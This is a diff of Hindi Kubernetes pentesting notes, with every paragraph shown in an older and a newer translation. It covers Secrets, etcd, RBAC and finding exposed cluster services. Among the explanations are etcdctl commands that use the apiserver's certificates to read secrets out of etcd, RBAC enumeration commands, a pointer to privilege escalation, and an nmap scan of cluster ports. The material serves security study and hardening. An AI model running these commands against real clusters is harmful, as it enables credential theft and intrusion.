Kubernetes **एक ही भौतिक क्लस्टर** द्वारा समर्थित **कई वर्चुअल क्लस्टर** का समर्थन करता है। इन वर्चुअल क्लस्टरों को **namespaces** कहा जाता है। ये उन वातावरणों में उपयोग के लिए हैं जहा कई उपयोगकर्ता कई टीमों या परियोजनाओं में फैले हुए हैं। कुछ से लेकर दर्जनों उपयोगकर्ताओं वाले क्लस्टरों के लिए, आपको नामस्पेस बनाने या उनके बारे में सोचने की आवश्यकता नहीं होनी चाहिए। आपको केवल नामस्पेस का उपयोग करना शुरू करना चाहिए ताकि आप kubernetes में तैनात प्रत्येक भाग के बेहतर नियंत्रण और संगठन प्राप्त कर सकें।
Kubernetes **multiple virtual clusters** को support करता है, जो एक ही physical cluster पर आधारित होते है। इन virtual clusters को **namespaces** कहा जाता है। ये उन environments में use के लिए intended हैं जहा कई users अलग-अलग teams या projects में फैले होते हैं। कुछ से लेकर कुछ दर्जन users वाले clusters के लिए, आपको namespaces बनाने या उनके बारे में सोचने की ज़रूरत नहीं होनी चाहिए। आपको namespaces का use तभी शुरू करना चाहिए जब आप kubernetes में deployed application के हर हिस्से पर बेहतर control और organization चाहते हों।
Namespaces नामों के लिए एक दायरा प्रदान करते हैं। संसाधनों के नाम को एक नामस्पेस के भीतर अद्वितीय होन चाहिए, लेकिन नामस्पेस के बीच नहीं। Namespaces को एक-दूसरे के अंदर नेस्ट नहीं किया जा सकता है और **प्रत्येक** Kubernetes **संसाधन** केवल **एक** **नामस्पेस** में ही हो सकता है।
Namespaces names के लिए एक scope provide करते हैं। Resources के names किसी namespace के अंदर unique होन चाहिए, लेकिन अलग-अलग namespaces के बीच नहीं। Namespaces को एक-दूसरे के अंदर nest नहीं किया जा सकता, और **हर** Kubernetes **resource** केवल **एक** **namespace** में ही हो सकता है।
यदि आप minikube का उपयोग कर रहे हैं तो डिफ़ॉल्ट रूप से 4 नामस्पेस होते हैं:
यदि आप minikube use कर रहे हैं, तो default रूप से 4 namespaces होते हैं:
```
kubectl get namespace
NAME STATUS AGE
@@ -310,67 +310,67 @@ kube-node-lease Active 1d
kube-public Active 1d
kube-system Active 1d
```
- **kube-system**: यह उपयोगकर्ताओं के लिए नहीं है और आपको इसे छूना नहीं चाहिए। यह मास्टर और kubectl प्रक्रियाओं के लिए है।
- **kube-public**: सार्वजनिक रूप से सुलभ डेटा। इसमें एक configmap है जो क्लस्टर की जानकारी रखता है
- **kube-node-lease**: एक नोड की उपलब्धता निर्धारित करता है
- **default**: वह नामस्थान जिसे उपयोगकर्ता संसाधन बनाने के लिए उपयोग करेगा
- **kube-system**: यह users के use करने के लिए meant नहीं है और आपको इसे touch नहीं करना चाहिए। यह master और kubectl processes के लिए है।
- **kube-public**: Publicly accessible date. इसमें एक configmap होता है जिसमें cluster information होती है
- **kube-node-lease**: किसी node की availability निर्धारित करता है
- **default**: वह namespace जिसे user resources create करने के लिए use करेगा
```bash
#Create namespace
kubectl create namespace my-namespace
```
> [!NOTE]
> ध्यान दें कि अधिकांश Kubernetes संसाधन (जैसे pods, services, replication controllers, और अन्य) कुछ namespaces में होते हैं। हालाकि, namespace संसाधनों और निम्न-स्तरीय संसाधनों, जैसे nodes और persistentVolumes, जैसे अन्य संसाधन namespace में नहीं होते हैं। यह देखने के लिए कि कौन से Kubernetes संसाधन namespace में हैं और कौन से नहीं:
> ध्यान दें कि अधिकांश Kubernetes resources (e.g. pods, services, replication controllers, और अन्य) किसी namespace में होते हैं। हालाकि, अन्य resources जैसे namespace resources और low-level resources, जैसे nodes और persistenVolumes, namespace में नहीं होते। यह देखने के लिए कि कौन से Kubernetes resources namespace में हैं और कौन से नहीं:
>
> ```bash
> kubectl api-resources --namespaced=true #In a namespace
> kubectl api-resources --namespaced=false #Not in a namespace
> ```
आप उस संदर्भ में सभी बाद के kubectl कमांड के लिए namespace को सहेज सकते हैं।
आप उस context में बाद के सभी kubectl commands के लिए namespace save कर सकते हैं।
```bash
kubectl config set-context --current --namespace=<insert-namespace-name-here>
```
### Helm
Helm Kubernetes के लिए **पैकेज प्रबंधक** है। यह YAML फ़ाइलों को पैकेज करने और उन्हें सार्वजनिक और निजी रिपॉजिटरी में वितरित करने की अनुमति देता है। इन पैकेजों को **Helm Charts** कहा जाता है।
Helm Kubernetes के लिए **package manager** है। यह YAML files को package करने और उन्हें public और private repositories में distribute करने की अनुमति देता है। इन packages को **Helm Charts** कहा जाता है।
```
helm search <keyword>
```
Helm एक टेम्पलेट इंजन भी है जो वेरिएबल के साथ कॉन्फ़िग फ़ाइलें उत्पन्न करने की अनुमति देता है:
Helm भी एक template engine है जो variables के साथ config files generate करने की अनुमति देता है:
## Kubernetes secrets
एक **Secret** एक ऑब्जेक्ट है जो **संवेदनशील डेटा** जैसे पासवर्ड, टोकन या कुंजी को **धारण** करता है। ऐसी जानकारी अन्यथा एक Pod स्पेसिफिकेशन या एक इमेज में रखी जा सकती है। उपयोगकर्ता Secrets बना सकते हैं और सिस्टम भी Secrets बनाता है। क Secret ऑब्जेक्ट का नाम एक मान्य **DNS उपडोमेन नाम** होना चाहिए। यहाँ पढ़ें [the official documentation](https://kubernetes.io/docs/concepts/configuration/secret/)।
एक **Secret** एक object है जो **sensitive data** जैसे password, token या key को **contain** करता है। ऐसी जानकारी अन्यथा Pod specification या image में रखी जा सकती है। Users Secrets बना सकते हैं और system भी Secrets बनाता है। किसी Secret object का name एक valid **DNS subdomain name** होना चाहिए। यहाँ पढ़ें [the official documentation](https://kubernetes.io/docs/concepts/configuration/secret/)।
Secrets में निम्नलिखित चीजें हो सकत हैं:
Secrets कुछ इस तरह के हो सकत हैं:
- API, SSH Keys
- OAuth tokens
- Credentials, Passwords (plain text या b64 + encryption)
- जानकारी या टिप्पणियाँ।
- डेटाबेस कनेक्शन कोड, स्ट्रिंग्स…।
- API, SSH Keys.
- OAuth tokens.
- Credentials, Passwords (plain text or b64 + encryption).
- Information or comments.
- Database connection code, strings… .
Kubernetes में विभिन्न प्रकार के secrets होते हैं
Kubernetes में secrets के अलग-अलग types होते हैं
| Builtin Type | Usage |
| ----------------------------------- | ----------------------------------------- |
| **Opaque** | **मनमाने उपयोगकर्ता-परिभाषित डेटा (डिफ़ॉल्ट)** |
| kubernetes.io/service-account-token | सेवा खाता टोकन |
| kubernetes.io/dockercfg | अनुक्रमित \~/.dockercfg फ़ाइल |
| kubernetes.io/dockerconfigjson | अनुक्रमित \~/.docker/config.json फ़ाइल |
| kubernetes.io/basic-auth | मूल प्रमाणीकरण के लिए क्रेडेंशियल्स |
| kubernetes.io/ssh-auth | SSH प्रमाणीकरण के लिए क्रेडेंशियल्स |
| kubernetes.io/tls | TLS क्लाइंट या सर्वर के लिए डेटा |
| bootstrap.kubernetes.io/token | बूटस्ट्रैप टोकन डेटा |
| **Opaque** | **arbitrary user-defined data (Default)** |
| kubernetes.io/service-account-token | service account token |
| kubernetes.io/dockercfg | serialized \~/.dockercfg file |
| kubernetes.io/dockerconfigjson | serialized \~/.docker/config.json file |
| kubernetes.io/basic-auth | basic authentication के लिए credentials |
| kubernetes.io/ssh-auth | SSH authentication के लिए credentials |
| kubernetes.io/tls | TLS client या server के लिए data |
| bootstrap.kubernetes.io/token | bootstrap token data |
> [!NOTE]
> **Opaque प्रकार डिफ़ॉल्ट है, उपयोगकर्ताओं द्वारा परिभाषित सामान्य कुंजी-मूल्य जोड़ा।**
> **Opaque type default वाला है, जो users द्वारा defined typical key-value pair है।**
**Secrets कैसे काम करते हैं:**
**secrets कैसे work करते हैं:**
![](https://sickrov.github.io/media/Screenshot-164.jpg)
![Kubernetes secrets diagram showing secret data reaching the API server and being consumed by a pod](https://sickrov.github.io/media/Screenshot-164.jpg)
निम्नलिखित कॉन्फ़िगरेशन फ़ाइल एक **secret** को परिभाषित करती है जिसे `mysecret` कहा जाता है जिसमें 2 कुंजी-मूल्य जोड़े `username: YWRtaW4=` और `password: MWYyZDFlMmU2N2Rm`ोते हैं। यह एक **pod** को भी परिभाषित करता है जिसे `secretpod` कहा जाता है ज `mysecret` में परिभाषित `username` और `password` को **environment variables** `SECRET_USERNAME` \_\_ और \_\_ `SECRET_PASSWOR` में प्रदर्शित करेगा। यह `mysecret` में `username` secret को `/etc/foo/my-group/my-username` पथ में `0640` अनुमतियों के साथ **mount** करेगा।
निम्न configuration file एक **secret** `mysecret` define करती है जिसमें 2 key-value pairs `username: YWRtaW4=` और `password: MWYyZDFlMmU2N2Rm` हैं। यह एक **pod** `secretpod` भी define करती है,िसमें `mysecret` में defined `username` और `password` को **environment variables** `SECRET_USERNAME` \_\_ और \_\_ `SECRET_PASSWOR` में exposed किया जाएगा। यह `mysecret` के अंदर `username` secret को path `/etc/foo/my-group/my-username` में `0640` permissions के साथ **mount** भी करेगा।
```yaml:secretpod.yaml
apiVersion: v1
kind: Secret
@@ -420,27 +420,27 @@ kubectl get pods #Wait until the pod secretpod is running
kubectl exec -it secretpod -- bash
env | grep SECRET && cat /etc/foo/my-group/my-username && echo
```
### Secrets in etcd <a href="#discover-secrets-in-etcd" id="discover-secrets-in-etcd"></a>
### etcd में Secrets <a href="#discover-secrets-in-etcd" id="discover-secrets-in-etcd"></a>
**etcd** एक सुसंगत और उच्च उपलब्धता वाला **की-मान भंडार** है जो सभी क्लस्टर डेटा के लिए Kubernetes बैकिंग स्टोर के रूप में उपयोग किया जाता है। चलिए etcd में संग्रहीत रहस्यों तक पहुँचते हैं:
**etcd** एक consistent और highly-available **key-value store** है,िसका उपयोग Kubernetes backing store के रूप में सभी cluster data के लिए किया जाता है। चलिए etcd में संग्रहीत secrets तक पहुँचते हैं:
```bash
cat /etc/kubernetes/manifests/kube-apiserver.yaml | grep etcd
```
आप देखेंगे कि सर्ट्स, कीज़ और यूआरएल फ़ाइल सिस्टम में स्थित हैं। एक बार जब आप इसे प्राप्त कर लेते हैं, तो आप etcd से कनेक्ट करने में सक्षम होंगे।
आप देखेंगे कि certs, keys और urls FS में स्थित हैं। एक बार जब आप उन्हें प्राप्त कर लेते हैं, तो आप etcd से connect करने में सक्षम होंगे।
```bash
#ETCDCTL_API=3 etcdctl --cert <path to client.crt> --key <path to client.ket> --cacert <path to CA.cert> endpoint=[<ip:port>] health
ETCDCTL_API=3 etcdctl --cert /etc/kubernetes/pki/apiserver-etcd-client.crt --key /etc/kubernetes/pki/apiserver-etcd-client.key --cacert /etc/kubernetes/pki/etcd/etcd/ca.cert endpoint=[127.0.0.1:1234] health
```
एक बार जब आप संचार स्थापित कर लेते हैं, तो आप रहस्यों को प्राप्त करने में सक्षम होंगे:
जब आप संचार स्थापित कर लेते हैं, तो आप secrets प्राप्त कर सकेंगे:
```bash
#ETCDCTL_API=3 etcdctl --cert <path to client.crt> --key <path to client.ket> --cacert <path to CA.cert> endpoint=[<ip:port>] get <path/to/secret>
ETCDCTL_API=3 etcdctl --cert /etc/kubernetes/pki/apiserver-etcd-client.crt --key /etc/kubernetes/pki/apiserver-etcd-client.key --cacert /etc/kubernetes/pki/etcd/etcd/ca.cert endpoint=[127.0.0.1:1234] get /registry/secrets/default/secret_02
```
**ETCD में एन्क्रिप्शन जोड़ना**
**ETCD में encryption जोड़ना**
डिफ़ॉल्ट रूप से सभी रहस्य **सादा** पाठ में etcd के अंदर संग्रहीत होते हैं जब तक कि आप एक एन्क्रिप्शन परत लागू नहीं करे। निम्नलिखित उदाहरण [https://kubernetes.io/docs/tasks/administer-cluster/encrypt-data/](https://kubernetes.io/docs/tasks/administer-cluster/encrypt-data/) पर आधारित है
By default सभी secrets **plain** text में etcd के अंदर stored होते हैं, जब तक कि आप encryption layer लागू न करे। निम्न उदाहरण [https://kubernetes.io/docs/tasks/administer-cluster/encrypt-data/](https://kubernetes.io/docs/tasks/administer-cluster/encrypt-data/) पर आधारित है
```yaml:encryption.yaml
apiVersion: apiserver.config.k8s.io/v1
kind: EncryptionConfiguration
@@ -454,63 +454,63 @@ keys:
secret: cjjPMcWpTPKhAdieVtd+KhG4NN+N6e3NmBPMXJvbfrY= #Any random key
- identity: {}
```
इसके बाद, आपको `kube-apiserver` पर `--encryption-provider-config` ध्वज सेट करना होगा ताकि यह बनाए गए कॉन्फ़िग फ़ाइल के स्थान की ओर इशारा करे। आप `/etc/kubernetes/manifest/kube-apiserver.yaml` को संशोधित कर सकते हैं और निम्नलिखित पंक्तियाँ जोड़ सकते हैं:
इसके बाद, आपको `kube-apiserver` पर `--encryption-provider-config` flag सेट करना होगा ताकि यह बनाए गए config file के location की ओर point करे। आप `/etc/kubernetes/manifest/kube-apiserver.yaml` को modify कर सकते हैं और निम्न lines जोड़ सकते हैं:
```yaml
containers:
- command:
- kube-apiserver
- --encriyption-provider-config=/etc/kubernetes/etcd/<configFile.yaml>
```
volumeMounts में स्क्रॉल करें:
volumeMounts में नीचे स्क्रॉल करें:
```yaml
- mountPath: /etc/kubernetes/etcd
name: etcd
readOnly: true
```
volumeMounts में hostPath तक स्क्रॉल करें:
volumeMounts में नीचे स्क्रॉल करें और hostPath पर जाएं:
```yaml
- hostPath:
path: /etc/kubernetes/etcd
type: DirectoryOrCreate
name: etcd
```
**डेटा के एन्क्रिप्टेड होने की पुष्टि करना**
**यह सत्यापित करना कि data encrypted है**
डेटा को etcd में लिखते समय एन्क्रिप्ट किया जाता है। अपने `kube-apiserver` को पुनः प्रारंभ करने के बाद, कोई भी नया या अपडेट किया या सीक्रेट स्टोर करते समय एन्क्रिप्ट किया जाना चाहिए। जांचने के लिए, आप अपने सीक्रेट की सामग्री को पुनः प्राप्त करने के लिए `etcdctl` कमांड लाइन प्रोग्राम का उपयोग कर सकते हैं।
Data को etcd में लिखते समय encrypted किया जाता है। अपने `kube-apiserver` को restart करने के बाद, कोई भी नया बनाया गया या updated secret stored होने पर encrypted होना चाहिए। जांचने के लिए, आप `etcdctl` command line program का उपयोग करके अपने secret की contents retrieve कर सकते हैं।
1. `default` नामस्थान में `secret1` नाम का एक नया सीक्रेट बनाएं:
1. `default` namespace में `secret1` नाम का एक नया secret बनाएं:
```
kubectl create secret generic secret1 -n default --from-literal=mykey=mydata
```
2. etcdctl कमांडलाइन का उपयोग करके, उस सीक्रेट को etcd से पढ़ें:
2. etcdctl commandline का उपयोग करके, उस secret को etcd से read करें:
`ETCDCTL_API=3 etcdctl get /registry/secrets/default/secret1 [...] | hexdump -C`
जहां `[...]` आदि सर्वर से कनेक्ट करने के लिए अतिरिक्त तर्क होन चाहिए।
जहां `[...]` etcd server से connect करने के लिए अतिरिक्त arguments होन चाहिए।
3. पुष्टि करें कि स्टोर किया गया सीक्रेट `k8s:enc:aescbc:v1:` से प्रारंभ होता है, जो इंगित करता है कि `aescbc` प्रदाता ने परिणामी डेटा को एन्क्रिप्ट किया है।
4. पुष्टि करें कि API के माध्यम से पुनः प्राप्त करसमय सीक्रेट सही ढंग से डिक्रिप्ट किया गया है:
3. Verify करें कि stored secret के आगे `k8s:enc:aescbc:v1:` लगा है, जो दर्शाता है कि `aescbc` provider ने resulting data को encrypted किया है।
4. Verify करें कि API के माध्यम से retrieve करपर secret सही तरह से decrypted होता है:
```
kubectl describe secret secret1 -n default
```
को `mykey: bXlkYXRh` से मेल खाना चाहिए, mydata को एन्कोड किया गया है, पूरी तरह से सीक्रेट को डिक्रिप्ट करने के लिए [decoding a secret](https://kubernetes.io/docs/concepts/configuration/secret#decoding-a-secret) की जांच करें।
`mykey: bXlkYXRh` से match होना चाहिए, mydata encoded है, secret को पूरी तरह decode करने के लिए [decoding a secret](https://kubernetes.io/docs/concepts/configuration/secret#decoding-a-secret) देखें।
**चूंकि सीक्रेट को लिखते समय एन्क्रिप्ट किया जाता है, इसलिए एक सीक्रेट पर अपडेट करना उस सामग्री को एन्क्रिप्ट करेगा:**
**Since secrets are encrypted on write, performing an update on a secret will encrypt that content:**
```
kubectl get secrets --all-namespaces -o json | kubectl replace -f -
```
**अंतिम सुझाव:**
**Final tips:**
- FS में रहस्य रखने से बचें, उन्हें अन्य स्थानों से प्राप्त करें।
- अपने रहस्यों की सुरक्षा बढ़ाने के लिए [https://www.vaultproject.io/](https://www.vaultproject.io) पर जाएं।
- कोशिश करें कि secrets को FS में न रखें, उन्हें दूसरी जगहों से प्राप्त करें।
- अपने secrets को और अधिक protection देने के लिए [https://www.vaultproject.io/](https://www.vaultproject.io) देखें।
- [https://kubernetes.io/docs/concepts/configuration/secret/#risks](https://kubernetes.io/docs/concepts/configuration/secret/#risks)
- [https://docs.cyberark.com/Product-Doc/OnlineHelp/AAM-DAP/11.2/en/Content/Integrations/Kubernetes_deployApplicationsConjur-k8s-Secrets.htm](https://docs.cyberark.com/Product-Doc/OnlineHelp/AAM-DAP/11.2/en/Content/Integrations/Kubernetes_deployApplicationsConjur-k8s-Secrets.htm)
## संदर्भ
## References
{{#ref}}
https://sickrov.github.io/
@@ -4,57 +4,57 @@
## Role-Based Access Control (RBAC)
Kubernetes में एक **अधिकार मॉड्यूल है जिस Role-Based Access Control** ([**RBAC**](https://kubernetes.io/docs/reference/access-authn-authz/rbac/)) कहा जाता है, जो API सर्वर के लिए उपयोग अनुमति सेट करने में मदद करता है।
Kubernetes में एक **authorization module** है जिसका नाम Role-Based Access Control ([**RBAC**](https://kubernetes.io/docs/reference/access-authn-authz/rbac/)) है, जो API server के लिए utilization permissions सेट करने में मदद करता है।
RBAC का अनुमति मॉडल **तीन व्यक्तिगत भागों** से बना है:
RBAC का permission model **तीन अलग हिस्सों** से बना है:
1. **Role\ClusterRole ­** वास्तविक अनुमति। इसमें _**नियम**_ होते हैं जो अनुमतियों के सेट का प्रतिनिधित्व करते हैं। प्रत्येक नियम में [resources](https://kubernetes.io/docs/reference/kubectl/overview/#resource-types) और [verbs](https://kubernetes.io/docs/reference/access-authn-authz/authorization/#determine-the-request-verb) होते हैं। क्रिया वह क्रिया है जो संसाधन पर लागू होग
2. **Subject (User, Group या ServiceAccount) ** वह वस्तु जो अनुमतियाँ प्राप्त करेगी।
3. **RoleBinding\ClusterRoleBinding ** Role\ClusterRole और विषय के बीच का संबंध
1. **Role\ClusterRole ­** असली permission. इसमें _**rules**_ होते हैं जो permissions का एक set दर्शाते हैं। हर rule में [resources](https://kubernetes.io/docs/reference/kubectl/overview/#resource-types) और [verbs](https://kubernetes.io/docs/reference/access-authn-authz/authorization/#determine-the-request-verb) होते हैं। verb वह action है जो resource पर लागू होग
2. **Subject (User, Group or ServiceAccount) ** वह object जिसे permissions मिलेंगी।
3. **RoleBinding\ClusterRoleBinding ** Role\ClusterRole और subject के बीच का connection
![](https://www.cyberark.com/wp-content/uploads/2018/12/rolebiding_serviceaccount_and_role-1024x551.png)
![Kubernetes RBAC diagram showing RoleBinding connecting a ServiceAccount subject to Role permissions](https://www.cyberark.com/wp-content/uploads/2018/12/rolebiding_serviceaccount_and_role-1024x551.png)
“**Roles**” और “**ClusterRoles**” के बीच का अंतर केवल यह है कि भूमिका कहाँ लागू होग – एक “**Role**” केवल **एक** **विशिष्ट** **namespace** तक पहुँच प्रदान करेगा, जबकि एक “**ClusterRole**” को क्लस्टर में **सभी namespaces** में उपयोग किया जा सकता है। इसके अलावा, **ClusterRoles** निम्नलिखित तक पहुँच भी प्रदान कर सकते हैं:
“**Roles**” और “**ClusterRoles**” के बीच का अंतर सिर्फ यह है कि role कहाँ लागू होग – एक “**Role**” केवल **एक** **specific** **namespace** में access देगा, जबकि एक “**ClusterRole**” cluster के **सभी namespaces** में इस्तेमाल किया जा सकता है। इसके अलावा, **ClusterRoles** यह access भी दे सकते हैं:
- **cluster-scoped** संसाधन (जैसे nodes)
- **non-resource** endpoints (जैसे /healthz)
- namespaced संसाधन (जैसे Pods), **सभी namespaces** में।
- **cluster-scoped** resources (जैसे nodes).
- **non-resource** endpoints (जैसे /healthz).
- namespaced resources (जैसे Pods), **सभी namespaces** में।
**Kubernetes** 1.6 से आगे, **RBAC** नीतियाँ **डिफ़ॉल्ट रूप से सक्षम** होती हैं। लेकिन RBAC को सक्षम करने के लिए आप कुछ ऐसा उपयोग कर सकते हैं:
**Kubernetes** 1.6 से, **RBAC** policies **by default enabled** हैं। लेकिन RBAC enable करने के लिए आप कुछ ऐसा use कर सकते हैं:
```
kube-apiserver --authorization-mode=Example,RBAC --other-options --more-options
```
## Templates
एक **Role** या **ClusterRole** के टेम्पलेट में आपको **भूमिका का नाम**, **namespace** (भूमिकाओं में) और फिर भूमिका के **apiGroups**, **resources** और **verbs** को इंगित करने की आवश्यकता होगी:
**Role** या **ClusterRole** के template में आपको **role का name**, **namespace** (roles में) और फिर role के **apiGroups**, **resources** और **verbs** बताने होंगे:
- **apiGroups** एक ऐरे है जो विभिन्न **API namespaces** को शामिल करता है जिन पर यह नियम लागू होता है। उदाहरण के लिए, एक Pod परिभाषा apiVersion: v1 का उपयोग करती है। _इसके मान जैसे rbac.authorization.k8s.io या \[\*] हो सकते हैं_
- **resources** एक ऐरे है जो **यह परिभाषित करता है कि यह नियम किन संसाधनों पर लागू होता है**। आप सभी संसाधनों को पा सकते हैं: `kubectl api-resources --namespaced=true`
- **verbs** एक ऐरे है जो **अनुमत क्रियाओं** को शामिल करता है। Kubernetes में क्रिया उस **क्रिया के प्रकार** को परिभाषित करत है जिसे आपको संसाधन पर लागू करना है। उदाहरण के लिए, सूची क्रिया संग्रहों के खिलाफ उपयोग की जाती है जबकि "get" एकल संसाधन के खिलाफ उपयोग की जाती है।
- **apiGroups** एक array है जिसमें वे अलग-अलग **API namespaces** होते है जिन पर यह rule लागू होता है। उदाहरण के लिए, Pod definition `apiVersion: v1` का उपयोग करती है। _इसके values जैसे `rbac.authorization.k8s.io` या `[\*]` हो सकते हैं_.
- **resources** एक array है जो बताती है कि यह rule **किन resources पर लागू होता है**। आप सभी resources यहाँ देख सकते हैं: `kubectl api-resources --namespaced=true`
- **verbs** एक array है जिसमें **allowed verbs** होते है। Kubernetes में verb उस **action के type** को परिभाषित करत है जिसे आपको resource पर लागू करना होता है। उदाहरण के लिए, `list` verb collections पर उपयोग होता है, जबकि `get` एक single resource पर उपयोग होता है।
### Rules Verbs
(_यह जानकारी_ [_**the docs**_](https://kubernetes.io/docs/reference/access-authn-authz/authorization/#determine-the-request-verb) _से ली गई है_)
(_यह जानकारी_ [_**the docs**_](https://kubernetes.io/docs/reference/access-authn-authz/authorization/index.html#determine-the-request-verb) _से ली गई थी_)
| HTTP verb | request verb |
| --------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| POST | create |
| GET, HEAD | get (व्यक्तिगत संसाधनों के लिए), list (संग्रहों के लिए, पूर्ण वस्तु सामग्री सहित), watch (व्यक्तिगत संसाधन या संसाधनों के संग्रह को देखने के लिए) |
| GET, HEAD | get (individual resources के लिए), list (collections के लिए, जिसमें full object content शामिल है), watch (individual resource या resources की collection को watch करने के लिए) |
| PUT | update |
| PATCH | patch |
| DELETE | delete (व्यक्तिगत संसाधनों के लिए), deletecollection (संग्रहों के लिए) |
| DELETE | delete (individual resources के लिए), deletecollection (collections के लिए) |
Kubernetes कभी-कभी विशेष क्रियाओं का उपयोग करके अतिरिक्त अनुमतियों के लिए प्राधिकरण की जांच करता है। उदाहरण के लिए:
Kubernetes कभी-कभी specialized verbs का उपयोग करके additional permissions के लिए authorization check करता है। उदाहरण के लिए:
- [PodSecurityPolicy](https://kubernetes.io/docs/concepts/policy/pod-security-policy/)
- `podsecuritypolicies` संसाधनों पर `policy` API समूह में `use` क्रिया।
- `policy` API group में `podsecuritypolicies` resources पर `use` verb.
- [RBAC](https://kubernetes.io/docs/reference/access-authn-authz/rbac/#privilege-escalation-prevention-and-bootstrapping)
- `roles` और `clusterroles` संसाधनों पर `rbac.authorization.k8s.io` API समूह में `bind` और `escalate` क्रियाएँ।
- `rbac.authorization.k8s.io` API group में `roles` और `clusterroles` resources पर `bind` और `escalate` verbs.
- [Authentication](https://kubernetes.io/docs/reference/access-authn-authz/authentication/)
- कोर API समूह में `users`, `groups`, और `serviceaccounts` पर `impersonate` क्रिया, और `authentication.k8s.io` API समूह में `userextras`
- core API group में `users`, `groups`, और `serviceaccounts` पर `impersonate` verb, और `authentication.k8s.io` API group में `userextras`.
> [!WARNING]
> आप **सभी क्रियाएँ जो प्रत्येक संसाधन का समर्थन करती हैं** को निष्पादित करके पा सकते हैं `kubectl api-resources --sort-by name -o wide`
> आप `kubectl api-resources --sort-by name -o wide` execute करके देख सकते हैं कि **हर resource किन verbs को support करता है**
### Examples
```yaml:Role
@@ -80,13 +80,13 @@ rules:
resources: ["secrets"]
verbs: ["get", "watch", "list"]
```
उदाहरण के लिए, आप एक **ClusterRole** का उपयोग कर सकते हैं ताकि एक विशेष उपयोगकर्ता को चलाने की अनुमति दी जा सके:
उदाहरण के लिए आप एक **ClusterRole** का उपयोग करके किसी विशेष user को चलाने की अनुमति दे सकते हैं:
```
kubectl get pods --all-namespaces
```
### **RoleBinding और ClusterRoleBinding**
### **RoleBinding and ClusterRoleBinding**
[**दस्तावेज़ों से:**](https://kubernetes.io/docs/reference/access-authn-authz/rbac/#rolebinding-and-clusterrolebinding) एक **रोल बाइंडिंग एक भूमिका में परिभाषित अनुमतियों को एक उपयोगकर्ता या उपयोगकर्ताओं के सेट को प्रदान करत है**। इसमें विषयों (उपयोगकर्ता, समूह, या सेवा खाते) की एक सूची होती है, और दी जा रही भूमिका का संदर्भ होता है। एक **RoleBinding** एक विशिष्ट **namespace** के भीतर अनुमतियाँ प्रदान करता है जबकि एक **ClusterRoleBinding** उस पहुँच को **क्लस्टर-व्यापी** प्रदान करता है।
[**From the docs:**](https://kubernetes.io/docs/reference/access-authn-authz/rbac/#rolebinding-and-clusterrolebinding) एक **role binding एक user या users के set को role में defined permissions grant करत है**। इसमें subjects (users, groups, या service accounts) की एक list होती है, और जिस role को grant किया जा रहा है उसका reference होता है। एक **RoleBinding** एक specific **namespace** के भीतर permissions grant करता है, जबकि एक **ClusterRoleBinding** उस access को **cluster-wide** grant करता है।
```yaml:RoleBinding
piVersion: rbac.authorization.k8s.io/v1
# This role binding allows "jane" to read pods in the "default" namespace.
@@ -122,9 +122,9 @@ kind: ClusterRole
name: secret-reader
apiGroup: rbac.authorization.k8s.io
```
**अनुमतियाँ जोड़ने योग्य हैं** इसलिए यदि आपके पास "सूची" और "हटाएँ" रहस्यों के साथ एक clusterRole है, तो आप इसे "प्राप्त करें" के साथ एक Role के साथ जोड़ सकते हैं। इसलिए सतर्क रहें और हमेशा अपनी भूमिकाओं और अनुमतियों का परीक्षण करें और **यह निर्दिष्ट करें कि क्या अनुमत है, क्योंकि डिफ़ॉल्ट रूप से सब कुछ अस्वीकृत है।**
**अनुमतियाँ additive होती हैं** इसलिए अगर आपके पास एक clusterRole है जिसमें “list” और “delete” secrets है, तो आप इसे एक Role के साथ “get” जोड़ सकते हैं। इसलिए सावधान रहें और हमेशा अपने roles और permissions को test करें और **जो ALLOWED है उसे specify करें, क्योंकि default रूप से सब कुछ DENIED होता है।**
## **RBAC की गणना करना**
## **Enumerating RBAC**
```bash
# Get current privileges
kubectl auth can-i --list
@@ -146,7 +146,7 @@ kubectl describe roles
kubectl get rolebindings
kubectl describe rolebindings
```
### Abuse Role/ClusterRoles for Privilege Escalation
### Privilege Escalation के लिए Role/ClusterRoles का Abuse
{{#ref}}
abusing-roles-clusterroles-in-kubernetes/
@@ -2,23 +2,23 @@
{{#include ../../../banners/hacktricks-training.md}}
Kubernetes कई **विशिष्ट नेटवर्क सेवाओं** का उपयोग करता है जिन्हें आप **इंटरनेट पर** या **एक आंतरिक नेटवर्क में** पा सकते हैं जब आप एक पोड को समझौता कर लेते हैं
Kubernetes कई **specific network services** का उपयोग करता है, आपको **Internet पर exposed** या **internal network में** तब मिल सकते हैं जब आपने एक pod को compromise कर लिया हो
## OSINT के साथ एक्सपोज़ किए गए पोड्स को खोजना
## OSINT के जरिए exposed pods ढूँढना
एक तरीका `Identity LIKE "k8s.%.com"` को [crt.sh](https://crt.sh) में खोजने का हो सकता है ताकि kubernetes से संबंधित उपडोमेन मिल सकें। एक और तरीका `"k8s.%.com"` को github में खोजने और उस स्ट्रिंग को शामिल करने वाले **YAML फ़ाइलों** की खोज करना हो सकता है।
एक तरीका `Identity LIKE "k8s.%.com"` को [crt.sh](https://crt.sh) में search करना हो सकता है, ताकि kubernetes से जुड़े subdomains मिल सकें। दूसरा तरीका github में `"k8s.%.com"` search करना और उस string वाले **YAML files** ढूँढना हो सकता है।
## Kubernetes सेवाओं को कैसे एक्सपोज़ करता है
## Kubernetes Services कैसे Expose करता है
यह आपके लिए समझना उपयोगी हो सकता है कि Kubernetes कैसे **सेवाओं को सार्वजनिक रूप से एक्सपोज़ कर सकता है** ताकि आप उन्हें खोज सकें:
आपके लिए यह समझना उपयोगी हो सकता है कि Kubernetes services को **publicly expose** कैसे कर सकता है, ताकि आप उन्हें ढूँढ सकें:
{{#ref}}
../exposing-services-in-kubernetes.md
{{#endref}}
## पोर्ट स्कैनिंग के माध्यम से एक्सपोज़ किए गए पोड्स को खोजना
## Port scanning के जरिए Exposed pods ढूँढना
Kubernetes क्लस्टर में निम्नलिखित पोर्ट खुले हो सकते हैं:
Kubernetes cluster में निम्न ports open हो सकते हैं:
| Port | Process | Description |
| --------------- | -------------- | ---------------------------------------------------------------------- |
@@ -43,15 +43,15 @@ nmap -n -T4 -p 443,2379,6666,4194,6443,8443,8080,10250,10255,10256,9099,6782-678
```
### Kube-apiserver
यह **API Kubernetes सेवा** है जिससाथ प्रशासक आमतौर पर **`kubectl`** उपकरण का उपयोग करके बात करते हैं।
यह **API Kubernetes सेवा** है जिसadministrators आमतौर पर **`kubectl`** टूल का उपयोग करके बात करते हैं।
**सामान्य पोर्ट: 6443 और 443**, लेकिन मिनीक्यूब में 8443 और असुरक्षित के रूप में 8080 भी।
